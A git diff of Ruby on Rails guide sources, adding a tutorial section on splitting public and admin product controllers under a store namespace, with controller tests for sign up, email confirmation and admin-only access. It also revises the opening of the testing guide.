+      <%= link_to "Profile", settings_profile_path %>
+      <%= link_to "Email", settings_email_path %>
+      <%= link_to "Password", settings_password_path %>
+      <%= link_to "Account", settings_user_path %>
+
+      <% if Current.user.admin? %>
+        <h4>Store Settings</h4>
+        <%= link_to "Users", store_users_path %>
+      <% end %>
+    </nav>
+
+    <div>
+      <%= yield %>
+    </div>
+  </section>
+<% end %>
+
+<%= render template: "layouts/application" %>
+```
+
+Separating Products Controllers
+-------------------------------
+
+Now that we have a separation for regular users and admins, we can re-organize
+our Products controller to take advantage of this change. Instead of a single
+controller, we can split the Products controller in two: one public facing and
+one admin facing.
+
+The public facing controller will handle the storefront views and the admin
+controller will handle managing products.
+
+### Public Products Controller
+
+For the public storefront, we only need to let users view products. This means
+`app/controllers/products_controller.rb` can be simplified down to the
+following.
+
+```ruby
+class ProductsController < ApplicationController
+  allow_unauthenticated_access
+
+  def index
+    @products = Product.all
+  end
+
+  def show
+    @product = Product.find(params[:id])
+  end
+end
+```
+
+We can then adjust the views for the products controller.
+
+First, let's copy these views to the `store` namespace since this is where we
+want to manage products for the store.
+
+```bash
+$ cp -R app/views/products app/views/store
+```
+
+### Clean Up Public Product Views
+
+Now let's remove all the create, update and destroy functionality from the
+public product views.
+
+In `app/views/products/index.html.erb`, let's remove the link to "New product".
+We'll use the Settings area to create new products instead.
+
+```diff
+-<%= link_to "New product", new_product_path if authenticated? %>
+```
+
+Remove the Edit and Delete links in `app/views/products/show.html.erb`
+
+```diff
+-    <% if authenticated? %>
+-      <%= link_to "Edit", edit_product_path(@product) %>
+-      <%= button_to "Delete", @product, method: :delete, data: { turbo_confirm: "Are you sure?" } %>
+-    <% end %>
+```
+
+Then remove:
+
+- `app/views/products/new.html.erb`
+- `app/views/products/edit.html.erb`
+- `app/views/products/_form.html.erb`
+
+### Admin Products CRUD
+
+First, let's add the namespaced route for products to `config/routes.rb` and
+also set a root route for this namespace:
+
+```ruby#2,5
+  namespace :store do
+    resources :products
+    resources :users
+
+    root to: redirect("/store/products")
+  end
+```
+
+And then update the settings layout navigation in
+`app/views/layouts/settings.html.erb`:
+
+```erb#12
+<%= content_for :content do %>
+  <section class="settings">
+    <nav>
+      <h4>Account Settings</h4>
+      <%= link_to "Profile", settings_profile_path %>
+      <%= link_to "Email", settings_email_path %>
+      <%= link_to "Password", settings_password_path %>
+      <%= link_to "Account", settings_user_path %>
+
+      <% if Current.user.admin? %>
+        <h4>Store Settings</h4>
+        <%= link_to "Products", store_products_path %>
+        <%= link_to "Users", store_users_path %>
+      <% end %>
+    </nav>
+
+    <div>
+      <%= yield %>
+    </div>
+  </section>
+<% end %>
+
+<%= render template: "layouts/application" %>
+```
+
+Next, create `app/controllers/store/products_controller.rb` with the following:
+
+```ruby
+class Store::ProductsController < Store::BaseController
+  before_action :set_product, only: %i[ show edit update destroy ]
+
+  def index
+    @products = Product.all
+  end
+
+  def show
+  end
+
+  def new
+    @product = Product.new
+  end
+
+  def create
+    @product = Product.new(product_params)
+    if @product.save
+      redirect_to store_product_path(@product)
+    else
+      render :new, status: :unprocessable_entity
+    end
+  end
+
+  def edit
+  end
+
+  def update
+    if @product.update(product_params)
+      redirect_to store_product_path(@product)
+    else
+      render :edit, status: :unprocessable_entity
+    end
+  end
+
+  def destroy
+    @product.destroy
+    redirect_to store_products_path
+  end
+
+  private
+    def set_product
+      @product = Product.find(params[:id])
+    end
+
+    def product_params
+      params.expect(product: [ :name, :description, :featured_image, :inventory_count ])
+    end
+end
+```
+
+This controller is almost the same as `ProductsController` previously, but two
+important changes:
+
+1. We have `admin_access_only` to restrict access to admin users only.
+2. Redirects use the `store` namespace to keep the user in the store settings
+   area.
+
+### Updating Admin Product Views
+
+The admin views need some tweaks to work inside the `store` namespace.
+
+First, let's fix the form in `app/views/store/products/_form.html.erb` by
+updating the `model:` argument to use the `store` namespace.
+
+```erb#1
+<%= form_with model: [ :store, product ] do |form| %>
+  <%# ... %>
+```
+
+Then we can remove the `authenticated?` check from
+`app/views/store/products/index.html.erb` and use the `store` namespace for
+links:
+
+```erb#3,8
+<h1><%= t ".title" %></h1>
+
+<%= link_to "New product", new_store_product_path %>
+
+<div id="products">
+  <% @products.each do |product| %>
+    <div>
+      <%= link_to product.name, store_product_path(product) %>
+    </div>
+  <% end %>
+</div>
+```
+
+Since this view is now in the `store` namespace, the h1 tag's relative
+translation cannot be found. We can add another translation to
+`config/locales/en.yml` to fix this:
+
+```yaml#7-10
+en:
+  hello: "Hello world"
+  products:
+    index:
+      title: "Products"
+
+  store:
+    products:
+      index:
+        title: "Products"
+
+  activerecord:
+    attributes:
+      user:
+        password_challenge: "Current password"
+```
+
+We need to update the Cancel link to use the `store` namespace in
+`app/views/store/products/new.html.erb`:
+
+```erb#4
+<h1>New product</h1>
+
+<%= render "form", product: @product %>
+<%= link_to "Cancel", store_products_path %>
+```
+
+Do the same in `app/views/store/products/edit.html.erb`:
+
+```erb#4
+<h1>Edit product</h1>
+
+<%= render "form", product: @product %>
+<%= link_to "Cancel", store_product_path(@product) %>
+```
+
+Update `app/views/store/products/show.html.erb` with the following:
+
+```erb#1,12-14
+<p><%= link_to "Back", store_products_path %></p>
+
+<section class="product">
+  <%= image_tag @product.featured_image if @product.featured_image.attached? %>
+
+  <section class="product-info">
+    <% cache @product do %>
+      <h1><%= @product.name %></h1>
+      <%= @product.description %>
+    <% end %>
+
+    <%= link_to "View in Storefront", @product %>
+    <%= link_to "Edit", edit_store_product_path(@product) %>
+    <%= button_to "Delete", [ :store, @product ], method: :delete, data: { turbo_confirm: "Are you sure?" } %>
+  </section>
+</section>
+```
+
+This updates the `show` action so that:
+
+- Links now use to the `store` namespace.
+- A "View in Storefront" link is added to make it easier for admins to see how a
+  product looks to the public.
+- The inventory partial is removed since that's only useful on the public
+  storefront.
+
+Since we're not using the `_inventory.html.erb` partial in the admin area, let's
+remove it:
+
+```bash
+$ rm app/views/store/products/_inventory.html.erb
+```
+
+Adding Tests
+------------
+
+Let's add some tests to verify that our features work correctly.
+
+### Authentication Test Helpers
+
+In our test suite, we'll need to sign in users in our tests. The Rails
+authentication generator has been updated to include helpers for authentication,
+but your application may have been created before this, so let's ensure these
+files exist before writing our tests.
+
+In `test/test_helpers/session_test_helper.rb`, you should see the following. If
+you don't, go ahead and create this file.
+
+```ruby
+module SessionTestHelper
+  def sign_in_as(user)
+    Current.session = user.sessions.create!
+
+    ActionDispatch::TestRequest.create.cookie_jar.tap do |cookie_jar|
+      cookie_jar.signed[:session_id] = Current.session.id
+      cookies["session_id"] = cookie_jar[:session_id]
+    end
+  end
+
+  def sign_out
+    Current.session&.destroy!
+    cookies.delete("session_id")
+  end
+end
+
+ActiveSupport.on_load(:action_dispatch_integration_test) do
+  include SessionTestHelper
+end
+```
+
+In `test/test_helper.rb`, you should see these lines. If not, go ahead and add
+them.
+
+```ruby#4,8
+ENV["RAILS_ENV"] ||= "test"
+require_relative "../config/environment"
+require "rails/test_help"
+require_relative "test_helpers/session_test_helper"
+
+module ActiveSupport
+  class TestCase
+    include SessionTestHelper
+
+    # Run tests in parallel with specified workers
+    parallelize(workers: :number_of_processors)
+
+    # Setup all fixtures in test/fixtures/*.yml for all tests in alphabetical order.
+    fixtures :all
+
+    # Add more helper methods to be used by all tests here...
+  end
+end
+```
+
+### Testing Sign Up
+
+We have a few different things to test for sign up. Let's start with a simple
+test to view the page.
+
+Create a controller test at `test/controllers/sign_ups_controller_test.rb` with
+the following:
+
+```ruby
+require "test_helper"
+
+class SignUpsControllerTest < ActionDispatch::IntegrationTest
+  test "view sign up" do
+    get sign_up_path
+    assert_response :success
+  end
+end
+```
+
+This test will visit `/sign_up` and ensure that it receives a 200 OK response.
+
+Let's run the test and see if it passes:
+
+```bash
+$ bin/rails test test/controllers/sign_ups_controller_test.rb:4
+Running 1 tests in a single process (parallelization threshold is 50)
+Run options: --seed 5967
+
+# Running:
+
+.
+
+Finished in 0.559107s, 1.7886 runs/s, 1.7886 assertions/s.
+1 runs, 1 assertions, 0 failures, 0 errors, 0 skips
+```
+
+Next, let's sign in a user and try to visit the sign up page. In this situation,
+the user should be redirected because they're already authenticated.
+
+Add the following test to the file.
+
+```ruby
+test "view sign up when authenticated" do
+  sign_in_as users(:one)
+  get sign_up_path
+  assert_redirected_to root_path
+end
+```
+
+Run the tests again and you should see this one passes too.
+
+Next, let's add a test to ensure a new user is created when they fill out the
+form.
+
+```ruby
+test "successful sign up" do
+  assert_difference "User.count" do
+    post sign_up_path, params: { user: { first_name: "Example", last_name: "User", email_address: "example@user.org", password: "password", password_confirmation: "password" } }
+    assert_redirected_to root_path
+  end
+end
+```
+
+For this test, we need submit params with a POST request to test the `create`
+action.
+
+Let's also test with invalid data to ensure the controller returns an error.
+
+```ruby
+test "invalid sign up" do
+  assert_no_difference "User.count" do
+    post sign_up_path, params: { user: { email_address: "example@user.org", password: "password", password_confirmation: "password" } }
+    assert_response :unprocessable_entity
+  end
+end
+```
+
+This test should be invalid because the user's name is missing. Since this
+request is invalid, we need to assert the response is a 422 Unprocessable
+Entity. We can also assert that there is no difference in the `User.count` to
+ensure no User was created.
+
+Another important test to add is ensuring that sign up does not accept the
+`admin` attribute.
+
+```ruby
+test "sign up ignores admin attribute" do
+  assert_difference "User.count" do
+    post sign_up_path, params: { user: { first_name: "Example", last_name: "User", email_address: "example@user.org", password: "password", password_confirmation: "password", admin: true } }
+    assert_redirected_to root_path
+  end
+  refute User.find_by(email_address: "example@user.org").admin?
+end
+```
+
+This test is just like a successful sign up, but it tries to set `admin: true`.
+After asserting the user is created, we also need to assert that the user is
+_not_ an admin.
+
+### Testing Email Changes
+
+Changing a user's email is a multi-step process that is important to test as
+well.
+
+To start, let's create a controller test to ensure the email update form handles
+everything correctly.
+
+In `test/controllers/settings/emails_controller_test.rb` add the following:
+
+```ruby
+require "test_helper"
+
+class Settings::EmailsControllerTest < ActionDispatch::IntegrationTest
+  test "validates current password" do
+    user = users(:one)
+    sign_in_as user
+    patch settings_email_path, params: { user: { password_challenge: "invalid", unconfirmed_email: "new@example.org" } }
+    assert_response :unprocessable_entity
+    assert_nil user.reload.unconfirmed_email
+    assert_no_emails
+  end
+end
+```
+
+Our first test is going to be a submission with an invalid password challenge.
+For this, we want to ensure the response is an error and the unconfirmed email
+was not changed. We can also ensure that no emails were sent in this case as
+well.
+
+Then we can write a test for the success case:
+
+```ruby
+test "sends email confirmation on successful update" do
+  user = users(:one)
+  sign_in_as user
+  patch settings_email_path, params: { user: { password_challenge: "password", unconfirmed_email: "new@example.org" } }
+  assert_response :redirect
+  assert_equal "new@example.org", user.reload.unconfirmed_email
+  assert_enqueued_email_with UserMailer, :email_confirmation, params: { user: user }
+end
+```
+
+Then add first and last names to the fixtures in `test/fixtures/users.yml` to
+pass validations:
+
+```yaml#6-7,12-13
+<% password_digest = BCrypt::Password.create("password") %>
+
+one:
+  email_address: one@example.com
+  password_digest: <%= password_digest %>
+  first_name: User
+  last_name: One
+
+two:
+  email_address: two@example.com
+  password_digest: <%= password_digest %>
+  first_name: User
+  last_name: Two
+```
+
+This tests submits successful params, confirms the email is saved to the
+database, the user was redirected and the confirmation email was queued for
+delivery.
+
+Let's run these tests and make sure they pass:
+
+```bash
+$ bin/rails test test/controllers/settings/emails_controller_test.rb
+Running 2 tests in a single process (parallelization threshold is 50)
+Run options: --seed 31545
+
+# Running:
+
+..
+
+Finished in 0.954590s, 2.0951 runs/s, 6.2854 assertions/s.
+2 runs, 6 assertions, 0 failures, 0 errors, 0 skips
+```
+
+We also need to test the `Email::ConfirmationsController` to ensure confirmation
+tokens are validated the email update process completes successfully.
+
+Let's add another controller test at
+`test/controllers/email/confirmations_controller_test.rb` with the following:
+
+```ruby
+require "test_helper"
+
+class Email::ConfirmationsControllerTest < ActionDispatch::IntegrationTest
+  test "invalid tokens are ignored" do
+    user = users(:one)
+    previous_email = user.email_address
+    user.update(unconfirmed_email: "new@example.org")
+    get email_confirmation_path(token: "invalid")
+    assert_equal "Invalid token.", flash[:alert]
+    user.reload
+    assert_equal previous_email, user.email_address
+  end
+
+  test "email is updated with a valid token" do
+    user = users(:one)
+    user.update(unconfirmed_email: "new@example.org")
+    get email_confirmation_path(token: user.generate_token_for(:email_confirmation))
+    assert_equal "Your email has been confirmed.", flash[:notice]
+    user.reload
+    assert_equal "new@example.org", user.email_address
+    assert_nil user.unconfirmed_email
+  end
+end
+```
+
+The first test simulates a user confirming their email change with an invalid
+token. We assert the error message was set and the email address did not change.
+
+The second test uses valid token and asserts the success notice was set and the
+email address was updated in the database.
+
+We need to fix one more test related to email confirmations and that is the
+automatically generated tests for `UserMailer`. Let's update that to match our
+application logic.
+
+Change `test/mailers/user_mailer_test.rb` to the following:
+
+```ruby
+require "test_helper"
+
+class UserMailerTest < ActionMailer::TestCase
+  test "email_confirmation" do
+    user = users(:one)
+    user.update(unconfirmed_email: "new@example.org")
+    mail = UserMailer.with(user: user).email_confirmation
+    assert_equal "Email confirmation", mail.subject
+    assert_equal [ "new@example.org" ], mail.to
+    assert_match "/email/confirmations/", mail.body.encoded
+  end
+end
+```
+
+This test ensures the user has an `unconfirmed_email` and the email is sent to
+that email address. It also ensures that the email body contains the path to
+`/email/confirmations` so we know it contains the link for the user to click and
+confirm their new email address.
+
+### Testing Settings
+
+Another area that we should test is the Settings navigation. We want to ensure
+the appropriate links are visible to admins and not visible to regular users.
+
+Let's first create an admin user fixture in `test/fixtures/users.yml`:
+
+```yaml#15-20
+<% password_digest = BCrypt::Password.create("password") %>
+
+one:
+  email_address: one@example.com
+  password_digest: <%= password_digest %>
+  first_name: User
+  last_name: One
+
+two:
+  email_address: two@example.com
+  password_digest: <%= password_digest %>
+  first_name: User
+  last_name: Two
+
+admin:
+  email_address: admin@example.com
+  password_digest: <%= password_digest %>
+  first_name: Admin
+  last_name: User
+  admin: true
+```
+
+Then create a test file for this at `test/integration/settings_test.rb`.
+
+```ruby
+require "test_helper"
+
+class SettingsTest < ActionDispatch::IntegrationTest
+  test "user settings nav" do
+    sign_in_as users(:one)
+    get settings_profile_path
+    assert_dom "h4", "Account Settings"
+    assert_not_dom "a", "Store Settings"
+  end
+
+  test "admin settings nav" do
+    sign_in_as users(:admin)
+    get settings_profile_path
+    assert_dom "h4", "Account Settings"
+    assert_dom "h4", "Store Settings"
+  end
+end
+```
+
+These tests ensure that only admins will see the Store settings in the navbar.
+
+You can run these tests with:
+
+```bash
+$ bin/rails test test/integration/settings_test.rb
+```
+
+We also want to ensure regular users cannot access the Store settings for
+Products and Users. Let's add some tests for that.
+
+```ruby
+test "regular user cannot access /store/products" do
+  sign_in_as users(:one)
+  get store_products_path
+  assert_response :redirect
+  assert_equal "You aren't allowed to do that.", flash[:alert]
+end
+
+test "regular user cannot access /store/users" do
+  sign_in_as users(:one)
+  get store_users_path
+  assert_response :redirect
+  assert_equal "You aren't allowed to do that.", flash[:alert]
+end
+```
+
+These tests use a regular user to access the admin only areas and ensures they
+are redirected away with a flash message.
+
+Let's complete these tests by ensuring that admin users _can_ access these
+areas.
+
+```ruby
+test "admins can access /store/products" do
+  sign_in_as users(:admin)
+  get store_products_path
+  assert_response :success
+end
+
+test "admins can access /store/users" do
+  sign_in_as users(:admin)
+  get store_users_path
+  assert_response :success
+end
+```
+
+Run the test file again and you should see they all pass.
+
+```bash
+$ bin/rails test test/integration/settings_test.rb
+Running 6 tests in a single process (parallelization threshold is 50)
+Run options: --seed 33354
+
+# Running:
+
+......
+
+Finished in 0.625542s, 9.5917 runs/s, 12.7889 assertions/s.
+6 runs, 8 assertions, 0 failures, 0 errors, 0 skips
+```
+
+And let's run the full test suite one more time to make sure all the tests pass.
+
+```bash
+$ bin/rails test
+Running 18 tests in a single process (parallelization threshold is 50)
+Run options: --seed 38561
+
+# Running:
+
+..................
+
+Finished in 0.915621s, 19.6588 runs/s, 51.3313 assertions/s.
+18 runs, 47 assertions, 0 failures, 0 errors, 0 skips
+```
+
+Great! Now, let's deploy this to production.
+
+Deploying To Production
+-----------------------
+
+Since we previously setup Kamal in the
+[Getting Started Guide](getting_started.html#deploying-to-production), we just
+need to push our code changes to our Git repository and run:
+
+```bash
+$ bin/kamal deploy
+```
+
+This will build a new container for our application and deploy it to our
+production server.
+
+### Setting Admins In Production
+
+If you added `attr_readonly :admin`, you'll need to use the dbconsole to update
+your account.
+
+```bash
+$ bin/kamal dbc
+UPDATE users SET admin=true WHERE users.email_address='you@example.org';
+.quit
+```
+
+Otherwise, you can use the Rails console to update your account.
+
+```bash
+$ bin/kamal console
+irb> User.find_by(email_address: "you@example.org").update(admin: true)
+```
+
+You can now access the Store settings in production with your account.
+
+What's Next
+-----------
+
+You did it! Your e-commerce store now supports user sign up, account management,
+and an admin area for managing products and users.
+
+Next, follow the [Wishlists tutorial](wishlists.html) to continue learning.
+
+Happy building!
+
+[Return to all tutorials](https://rubyonrails.org/docs/tutorials)
diff --git a/guides/source/testing.md b/guides/source/testing.md
index 6f783089a9fc5..7b32b12d10aca 100644
--- a/guides/source/testing.md
+++ b/guides/source/testing.md
@@ -1,78 +1,115 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
-A Guide to Testing Rails Applications
-=====================================
+Testing Rails Applications
+==========================
 
-This guide covers built-in mechanisms in Rails for testing your application.
+This guide explores how to write tests in Rails.
 
 After reading this guide, you will know:
 
 * Rails testing terminology.
-* How to write unit, functional, and integration tests for your application.
+* How to write unit, functional, integration, and system tests for your
+  application.
 * Other popular testing approaches and plugins.
 
 --------------------------------------------------------------------------------
 
-Why Write Tests for your Rails Applications?
---------------------------------------------
-
-Rails makes it super easy to write your tests. It starts by producing skeleton test code while you are creating your models and controllers.
+Why Write Tests?
+----------------
 
-By simply running your Rails tests you can ensure your code adheres to the desired functionality even after some major code refactoring.
+Writing automated tests can be a faster way of ensuring your code continues to
+work as expected than manual testing through the browser or the console. Failing
+tests can quickly reveal issues, allowing you to identify and fix bugs early in
+the development process. This practice not only improves the reliability of your
+code but also improves confidence in your changes.
 
-Rails tests can also simulate browser requests and thus you can test your application's response without having to test it through your browser.
+Rails makes it easy to write tests. You can read more about Rails' built in
+support for testing in the next section.
 
 Introduction to Testing
 -----------------------
 
-Testing support was woven into the Rails fabric from the beginning. It wasn't an "oh! let's bolt on support for running tests because they're new and cool" epiphany.
+With Rails, testing is central to the development process right from the
+creation of a new application.
 
-### Rails Sets up for Testing from the Word Go
+### Test Setup
 
-Rails creates a `test` directory for you as soon as you create a Rails project using `rails new` _application_name_. If you list the contents of this directory then you shall see:
+Rails creates a `test` directory for you as soon as you create a Rails project
+using `bin/rails new` _application_name_. If you list the contents of this directory
+then you will see:
 
 ```bash
 $ ls -F test
-controllers/    helpers/        mailers/        test_helper.rb
-fixtures/       integration/    models/
+controllers/  fixtures/  helpers/  integration/  mailers/  models/  test_helper.rb
 ```
 
-The `helpers`, `mailers`, and `models` directories are meant to hold tests for view helpers, mailers, and models, respectively. The `controllers` directory is meant to hold tests for controllers, routes, and views. The `integration` directory is meant to hold tests for interactions between controllers.
+### Test Directories
+
+The `helpers`, `mailers`, and `models` directories store tests for [view
+helpers](#testing-view-helpers), [mailers](#testing-mailers), and
+[models](#testing-models), respectively.
+
+The `controllers` directory is used for
+[tests related to controllers](#functional-testing-for-controllers), routes, and
+views, where HTTP requests will be simulated and assertions made on the
+outcomes.
 
-Fixtures are a way of organizing test data; they reside in the `fixtures` directory.
+The `integration` directory is reserved for [tests that cover
+interactions between controllers](#integration-testing).
 
-A `jobs` directory will also be created when an associated test is first generated.
+[Fixtures](https://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html)
+are a way of mocking up data to use in your tests, so that you don't have to use
+'real' data. They are stored in the `fixtures` directory, and you can read more
+about them in the [Fixtures](#fixtures) section below.
 
 The `test_helper.rb` file holds the default configuration for your tests.
 
+When you first [generate system tests](#generating-system-tests), a `system`
+directory and an `application_system_test_case.rb` file will be created.
+
+The `system` directory holds [system tests](#system-testing), which are
+used for full browser testing of your application. System tests allow you to
+test your application the way your users experience it and help you test your
+JavaScript as well. System tests inherit from
+[Capybara](https://github.com/teamcapybara/capybara) and perform in-browser
+tests for your application.
+
+The `application_system_test_case.rb` file holds the default configuration for your
+system tests.
+
+A `jobs` directory will also be created for your job tests when you first
+[generate a job](active_job_basics.html#create-the-job).
 
 ### The Test Environment
 
-By default, every Rails application has three environments: development, test, and production.
+By default, every Rails application has three environments: development, test,
+and production.
 
-Each environment's configuration can be modified similarly. In this case, we can modify our test environment by changing the options found in `config/environments/test.rb`.
+Each environment's configuration can be modified similarly. In this case, we can
+modify our test environment by changing the options found in
+`config/environments/test.rb`.
 
-NOTE: Your tests are run under `RAILS_ENV=test`.
+NOTE: Your tests are run under `RAILS_ENV=test`. This is set by Rails automatically.
 
-### Rails meets Minitest
+### Writing Your First Test
 
-If you remember, we used the `rails generate model` command in the
-[Getting Started with Rails](getting_started.html) guide. We created our first
-model, and among other things it created test stubs in the `test` directory:
+We introduced the `bin/rails generate model` command in the [Getting Started
+with Rails](getting_started.html#creating-a-database-model) guide.
+Alongside creating a model, this command also creates a test stub in the `test`
+directory:
 
 ```bash
 $ bin/rails generate model article title:string body:text
 ...
 create  app/models/article.rb
 create  test/models/article_test.rb
-create  test/fixtures/articles.yml
 ...
 ```
 
 The default test stub in `test/models/article_test.rb` looks like this:
 
 ```ruby
-require 'test_helper'
+require "test_helper"
 
 class ArticleTest < ActiveSupport::TestCase
   # test "the truth" do
@@ -81,24 +118,37 @@ class ArticleTest < ActiveSupport::TestCase
 end
 ```
 
-A line by line examination of this file will help get you oriented to Rails testing code and terminology.
+A line by line examination of this file will help get you oriented to Rails
+testing code and terminology.
 
 ```ruby
-require 'test_helper'
+require "test_helper"
 ```
 
-By requiring this file, `test_helper.rb` the default configuration to run our tests is loaded. We will include this with all the tests we write, so any methods added to this file are available to all our tests.
+Requiring the file, `test_helper.rb`, loads the default configuration to run
+tests. All methods added to this file are also available in tests when this file
+is included.
 
 ```ruby
 class ArticleTest < ActiveSupport::TestCase
+  # ...
+end
 ```
 
-The `ArticleTest` class defines a _test case_ because it inherits from `ActiveSupport::TestCase`. `ArticleTest` thus has all the methods available from `ActiveSupport::TestCase`. Later in this guide, we'll see some of the methods it gives us.
+This is called a test case, because the `ArticleTest` class inherits from
+`ActiveSupport::TestCase`. It therefore also has all the methods from
+`ActiveSupport::TestCase` available to it. [Later in this
+guide](#assertions-in-test-cases), we'll see some of the methods this gives us.
 
-Any method defined within a class inherited from `Minitest::Test`
-(which is the superclass of `ActiveSupport::TestCase`) that begins with `test_` (case sensitive) is simply called a test. So, methods defined as `test_password` and `test_valid_password` are legal test names and are run automatically when the test case is run.
+Any method defined within a class inherited from `Minitest::Test` (which is the
+superclass of `ActiveSupport::TestCase`) that begins with `test_` is simply
+called a test. So, methods defined as `test_password` and `test_valid_password`
+are test names and are run automatically when the test case is run.
 
-Rails also adds a `test` method that takes a test name and a block. It generates a normal `Minitest::Unit` test with method names prefixed with `test_`. So you don't have to worry about naming the methods, and you can write something like:
+Rails also adds a `test` method that takes a test name and a block. It generates
+a standard `Minitest::Unit` test with method names prefixed with `test_`,
+allowing you to focus on writing the test logic without having to think about
+naming the methods. For example, you can write:
 
 ```ruby
 test "the truth" do
@@ -114,40 +164,56 @@ def test_the_truth
 end
 ```
 
-However only the `test` macro allows a more readable test name. You can still use regular method definitions though.
+Although you can still use regular method definitions, using the `test` macro
+allows for a more readable test name.
 
-NOTE: The method name is generated by replacing spaces with underscores. The result does not need to be a valid Ruby identifier though, the name may contain punctuation characters etc. That's because in Ruby technically any string may be a method name. This may require use of `define_method` and `send` calls to function properly, but formally there's little restriction on the name.
+NOTE: The method name is generated by replacing spaces with underscores. The
+result does not need to be a valid Ruby identifier, as Ruby allows any string to
+serve as a method name, including those containing punctuation characters. While
+this may require using `define_method` and `send` to define and invoke such
+methods, there are few formal restrictions on the names themselves.
 
-Next, let's look at our first assertion:
+This part of a test is called an 'assertion':
 
 ```ruby
 assert true
 ```
 
-An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check:
+An assertion is a line of code that evaluates an object (or expression) for
+expected results. For example, an assertion can check:
 
-* does this value = that value?
+* does this value equal that value?
 * is this object nil?
 * does this line of code throw an exception?
 * is the user's password greater than 5 characters?
 
-Every test may contain one or more assertions, with no restriction as to how many assertions are allowed. Only when all the assertions are successful will the test pass.
+Every test may contain one or more assertions, with no restriction as to how
+many assertions are allowed. Only when all the assertions are successful will
+the test pass.
 
-#### Your first failing test
+#### Your First Failing Test
 
-To see how a test failure is reported, you can add a failing test to the `article_test.rb` test case.
+To see how a test failure is reported, you can add a failing test to the
+`article_test.rb` test case. In this example, it is asserted that the article
+will not save without meeting certain criteria; hence, if the article saves
+successfully, the test will fail, demonstrating a test failure.
 
-```ruby
-test "should not save article without title" do
-  article = Article.new
-  assert_not article.save
+```ruby#4-7
+require "test_helper"
+
+class ArticleTest < ActiveSupport::TestCase
+  test "should not save article without title" do
+    article = Article.new
+    assert_not article.save
+  end
 end
 ```
 
-Let us run this newly added test (where `6` is the number of line where the test is defined).
+Here is the output if this newly added test is run:
 
 ```bash
-$ bin/rails test test/models/article_test.rb:6
+$ bin/rails test test/models/article_test.rb
+Running 1 tests in a single process (parallelization threshold is 50)
 Run options: --seed 44656
 
 # Running:
@@ -155,21 +221,25 @@ Run options: --seed 44656
 F
 
 Failure:
-ArticleTest#test_should_not_save_article_without_title [/path/to/blog/test/models/article_test.rb:6]:
+ArticleTest#test_should_not_save_article_without_title [/path/to/blog/test/models/article_test.rb:4]:
 Expected true to be nil or false
 
 
-bin/rails test test/models/article_test.rb:6
+bin/rails test test/models/article_test.rb:4
 
 
 
 Finished in 0.023918s, 41.8090 runs/s, 41.8090 assertions/s.
 
 1 runs, 1 assertions, 1 failures, 0 errors, 0 skips
-
 ```
 
-In the output, `F` denotes a failure. You can see the corresponding trace shown under `Failure` along with the name of the failing test. The next few lines contain the stack trace followed by a message that mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable, every assertion provides an optional message parameter, as shown here:
+In the output, `F` indicates a test failure. The section under `Failure`
+includes the name of the failing test, followed by a stack trace and a message
+showing the actual value and the expected value from the assertion. The default
+assertion messages offer just enough information to help identify the error. For
+improved readability, every assertion allows an optional message parameter to
+customize the failure message, as shown below:
 
 ```ruby
 test "should not save article without title" do
@@ -180,13 +250,14 @@ end
 
 Running this test shows the friendlier assertion message:
 
-```bash
+```
 Failure:
 ArticleTest#test_should_not_save_article_without_title [/path/to/blog/test/models/article_test.rb:6]:
 Saved the article without a title
 ```
 
-Now to get this test to pass we can add a model level validation for the _title_ field.
+To get this test to pass a model-level validation can be added for the `title`
+field.
 
 ```ruby
 class Article < ApplicationRecord
@@ -194,10 +265,13 @@ class Article < ApplicationRecord
 end
 ```
 
-Now the test should pass. Let us verify by running the test again:
+Now the test should pass, as the article in our test has not been initialized
+with a `title`, so the model validation will prevent the save. This can be
+verified by running the test again:
 
 ```bash
 $ bin/rails test test/models/article_test.rb:6
+Running 1 tests in a single process (parallelization threshold is 50)
 Run options: --seed 31252
 
 # Running:
@@ -209,13 +283,14 @@ Finished in 0.027476s, 36.3952 runs/s, 36.3952 assertions/s.
 1 runs, 1 assertions, 0 failures, 0 errors, 0 skips
 ```
 
-Now, if you noticed, we first wrote a test which fails for a desired
-functionality, then we wrote some code which adds the functionality and finally
-we ensured that our test passes. This approach to software development is
-referred to as
-[_Test-Driven Development_ (TDD)](http://c2.com/cgi/wiki?TestDrivenDevelopment).
+The small green dot displayed means that the test has passed successfully.
 
-#### What an error looks like
+TIP: In the process above, a test was written first which fails for a desired
+functionality, then after, some code was written which adds the functionality.
+Finally, the test was run again to ensure it passes. This approach to software
+development is referred to as _Test-Driven Development_ (TDD).
+
+#### Reporting Errors
 
 To see how an error gets reported, here's a test containing an error:
 
@@ -231,11 +306,12 @@ Now you can see even more output in the console from running the tests:
 
 ```bash
 $ bin/rails test test/models/article_test.rb
+Running 2 tests in a single process (parallelization threshold is 50)
 Run options: --seed 1808
 
 # Running:
 
-.E
+E
 
 Error:
 ArticleTest#test_should_report_error:
@@ -245,32 +321,34 @@ NameError: undefined local variable or method 'some_undefined_variable' for #<Ar
 
 bin/rails test test/models/article_test.rb:9
 
-
+.
 
 Finished in 0.040609s, 49.2500 runs/s, 24.6250 assertions/s.
 
 2 runs, 1 assertions, 0 failures, 1 errors, 0 skips
 ```
 
-Notice the 'E' in the output. It denotes a test with error.
+Notice the 'E' in the output. It denotes a test with an error. The green dot
+above the 'Finished' line denotes the one passing test.
 
 NOTE: The execution of each test method stops as soon as any error or an
 assertion failure is encountered, and the test suite continues with the next
 method. All test methods are executed in random order. The
-[`config.active_support.test_order` option](configuring.html#configuring-active-support)
-can be used to configure test order.
+[`config.active_support.test_order`][] option can be used to configure test
+order.
 
-When a test fails you are presented with the corresponding backtrace. By default
-Rails filters that backtrace and will only print lines relevant to your
-application. This eliminates the framework noise and helps to focus on your
-code. However there are situations when you want to see the full
-backtrace. Simply set the `-b` (or `--backtrace`) argument to enable this behavior:
+When a test fails you are presented with the corresponding backtrace. By
+default, Rails filters the backtrace and will only print lines relevant to your
+application. This eliminates noise and helps you to focus on your code. However,
+in situations when you want to see the full backtrace, set the `-b` (or
+`--backtrace`) argument to enable this behavior:
 
 ```bash
 $ bin/rails test -b test/models/article_test.rb
 ```
 
-If we want this test to pass we can modify it to use `assert_raises` like so:
+If you want this test to pass you can modify it to use `assert_raises` (so you
+are now checking for the presence of the error) like so:
 
